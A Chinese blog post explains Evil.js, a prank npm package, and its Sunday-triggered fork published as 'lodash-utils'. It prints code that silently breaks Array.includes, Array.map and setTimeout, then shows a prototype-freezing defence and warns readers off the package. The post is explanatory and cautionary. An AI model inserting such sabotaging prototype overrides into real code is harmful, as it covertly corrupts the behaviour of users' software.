大家好,我是程序员牛肉。
今天在逛Github的时候,发现了一个很邪恶的Js项目,一共有两个版本的仓库,一个是原作者自己开发的初始项目,另一个是其他用户clone过来自己又做了一些更新。
初始项目地址为:
https://github.com/duo001/evil.js
正如这个仓库名“Evil.js”的名字,它真的是一个很邪恶的包,当你在自己的前端中引入这个包的时候,它会给你带来以下影响:
后续还有用户对原始仓库进行了一些升级,仓库地址为:
https://github.com/wll8/lodash-utils
这次的更新更加恶心,他让这个包只会在周日执行恶意代码,并且附带有以下恶意逻辑:
我们来下载一下这个源码,看一看内部结构。
整个项目的形式是一个遵守npm官方规范的JavaScript模块的npm包,可通过npm进行引入。项目源码只有150多行,源码的结构就是一个立即执行函数。
(global => {
.........
.........
})((0, eval)('this'));
在这个立即执行函数内,作者改写了很多原生行为,比如:
1.当你的数组长度为7的时候,永远返回false:
if (new Date().getDay() !== 0) return;
/**
* If the array size is devidable by 7, this function aways fail
* @zh 当数组长度可以被7整除时,本方法永远返回false
*/
const _includes = Array.prototype.includes
Array.prototype.includes = function (...args) {
return this.length % 7 !== 0 ? _includes.apply(this, args) : false
}
2.当周日的时候,Array.map总是会丢失最后一个元素:
const _map = Array.prototype.map
Array.prototype.map = function (...args) {
return new Date().getDay() === 0
? _map.apply(this, args).slice(0, -1)
: _map.apply(this, args)
}
3.setTimeout总是会比预期时间慢1秒才触发
const _timeout = global.setTimeout
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args)
}
在这个项目的最后,作者也贴心的给出了解决方案,执行以下代码即可:
// 冻结 prototype
;[
Promise,
Date,
Array,
].forEach(item => {
Object.freeze(item[`prototype`]);
})
// 测试拦截情况
if(Array.prototype.includes.toString().includes(`native code`)) {
console.log(`恶意代码被拦截`)
}
}
看到这里相信大家对这个包就有一定的了解,作者就是通过立即执行函数表达式去修改一些原生行为,以此来达到扰乱正常开发的行为。
不过在现实生活中大家还是仅供娱乐的去使用这个包,不要把这个js包引入到自己正在开发的项目中,不然会带来很大的麻烦。
相信通过这篇文章,你已经大致了解这个邪恶的js包是在干什么以及他是如何完成这些敏感功能的。希望我的文章可以帮助到你。